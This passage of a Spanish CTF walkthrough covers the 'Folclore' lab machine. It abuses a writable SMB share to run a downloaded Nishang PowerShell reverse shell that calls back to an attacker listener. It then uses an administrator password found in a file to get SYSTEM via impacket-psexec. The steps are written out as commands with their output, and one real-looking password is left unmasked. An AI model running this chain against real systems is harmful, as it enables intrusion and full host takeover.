SMB                      192.168.100.230   445    FOLCLORE         [+] Folclore\Quetzalcoatl:**********

La encontramos.

Este usuario tiene permisos de lectura y escritura en el directorio Viento:

smbmap -H 192.168.100.230 -u 'Quetzalcoatl' -p '**********' -r Viento --no-banner
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 192.168.100.230:445	Name: lavashop.thl        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Dia de Muertos                                    	NO ACCESS	Al final, todos somos polvo y hueso.
	IPC$                                              	READ ONLY	IPC remota
	Libertad                                          	NO ACCESS	El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
	Lluvia                                            	NO ACCESS	Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
	Oro                                               	READ ONLY	¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
	Santuario                                         	NO ACCESS	El Refugio de Ixchel
	Viento                                            	READ, WRITE	El viento sagrado ejecutará la tarea a su debido tiempo
	./Viento
	dr--r--r--                0 Mon Mar 30 10:30:51 2026	.
	dr--r--r--                0 Mon Mar 30 10:30:51 2026	..
	fr--r--r--              432 Mon Jul 28 20:28:32 2025	Serpiente Emplumada.txt
[*] Closed 1 connections

Vemos un archivo de texto.

Descarguémoslo:

smbmap -H 192.168.100.230 -u 'Quetzalcoatl' -p 'J9c7U7%/' --download 'Viento/Serpiente Emplumada.txt' --no-banner

mv 192.168.100.230-Viento_Serpiente\ Emplumada.txt Serpiente_Emplumada.txt

Leámoslo:

cat Serpiente_Emplumada.txt
Has recorrido con valentía y sabiduría un sendero lleno de retos; te felicito, guerrero del destino.
Ahora, confía en mí, Quetzalcóatl, la serpiente emplumada, pues seré yo quien te otorgue el acceso necesario. 
Solo ejecutaré una vez aquel archivo PowerShell que decidas subir, para abrir el portal hacia lo que buscas. 
Que esta acción sea el puente que te lleve a la verdad escondida entre los vientos y las estrellas.

Prácticamente, nos está diciendo que podemos cargar una Reverse Shell de PowerShell a este directorio para que se ejecute.

Podemos utilizar la Reverse Shell de PowerShell de Nishang:

Y la puedes descargar con wget:

wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1

Solamente agregamos lo siguiente al final del script:

Invoke-PowerShellTcp -Reverse -IPAddress Tu_IP -Port Puerto_A_Elegir

Antes de cargarla, abrimos un listener usando rlwrap en conjunto con netcat:

rlwrap nc -nlvp 443
listening on [any] 443 ...

Cargamos la Reverse Shell conectándonos al servicio SMB con smbclient:

smbclient //192.168.100.230/Viento/ -U Quetzalcoatl
Password for [WORKGROUP\Quetzalcoatl]:
Try "help" to get a list of possible commands.
smb: \> put Invoke-PowerShellTcp.ps1
putting file Invoke-PowerShellTcp.ps1 as \Invoke-PowerShellTcp.ps1 (716.8 kB/s) (average 716.8 kB/s)
smb: \> exit

Observa la netcat:

rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.100.230] 49693
Windows PowerShell running as user Quetzalcoatl on FOLCLORE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Quetzalcoatl>whoami
folclore\quetzalcoatl

Obtengamos la flag del usuario:

PS C:\Users\Quetzalcoatl> cd Desktop
PS C:\Users\Quetzalcoatl\Desktop> dir


    Directorio: C:\Users\Quetzalcoatl\Desktop


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----     29/07/2025  05:12 a. m.             54 User.txt                                                             


PS C:\Users\Quetzalcoatl\Desktop> type user.txt
...




Post Explotación


Utilizando Psexec para Escalar Privilegios y Obtener una Sesión de Administrador

Al revisar los privilegios que tiene nuestro usuario, no encontramos uno que nos ayude a escalar privilegios.

Y antes de utilizar winPEASx64, si nos movemos al directorio Downloads, podemos encontrar un directorio que en su interior tiene este archivo de texto:

PS C:\Users\Quetzalcoatl\Downloads\Actualizacion> dir


    Directorio: C:\Users\Quetzalcoatl\Downloads\Actualizacion


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----     29/07/2025  05:14 a. m.             84 Venganza.txt

Si lo leemos, vemos que contiene la contraseña del administrador:

PS C:\Users\Quetzalcoatl\Downloads\Actualizacion> type Venganza.txt
He conseguido la clave del administrador!!!
La guardare para no olvidarla: **********

Corroboremos que esta contraseña sea del administrador:

nxc smb 192.168.100.230 -u 'Administrador' -p '**********'
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)
SMB         192.168.100.230   445    FOLCLORE         [+] Folclore\Administrador:********** (Pwn3d!)

Funciona.

Sabiendo esto, tenemos varias opciones para poder escalar privilegios:

  • Cargar una Reverse Shell para ejecutarla como administrador usando netexec.
  • Aprovecharnos del script que ejecuta scripts del usuario Quetzalcoatl para que ejecute una Reverse Shell como administrador.
  • Utilizar psexec para conectarnos a la máquina víctima como administrador.

Nuestra mejor opción y más rápida sería utilizar la herramienta psexec:

impacket-psexec Folclore/Administrador:'**********'@192.168.100.230
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 192.168.100.230.....
[*] Found writable share ADMIN$
[*] Uploading file tDFEbOIX.exe
[*] Opening SVCManager on 192.168.100.230.....
[*] Creating service MVQH on 192.168.100.230.....
[*] Starting service MVQH.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [Versi�n 10.0.19044.7058]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32> whoami
nt authority\system

Estamos dentro.

Si bien el uso de psexec suelta muchas alarmas al conectarnos a una máquina, otra opción sería usar wmiexec, pero para esta máquina no funciona (o al menos a mí no me funciono).

Ya solo busquemos la última flag:

C:\Windows\system32> cd C:\Users\Administrador\Desktop

C:\Users\Administrador\Desktop> dir
 El volumen de la unidad C no tiene etiqueta.
...

 Directorio de C:\Users\Administrador\Desktop

03/08/2025  09:24 a. m.    <DIR>          .
03/08/2025  09:24 a. m.    <DIR>          ..
03/08/2025  09:24 a. m.                54 Root.txt
               1 archivos             54 bytes
               2 dirs  39,661,801,472 bytes libres

C:\Users\Administrador\Desktop> type Root.txt
...

Y con esto, terminamos la máquina.



  • https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
  • https://www.hackingarticles.in/powershell-for-pentester-windows-reverse-shell/


FIN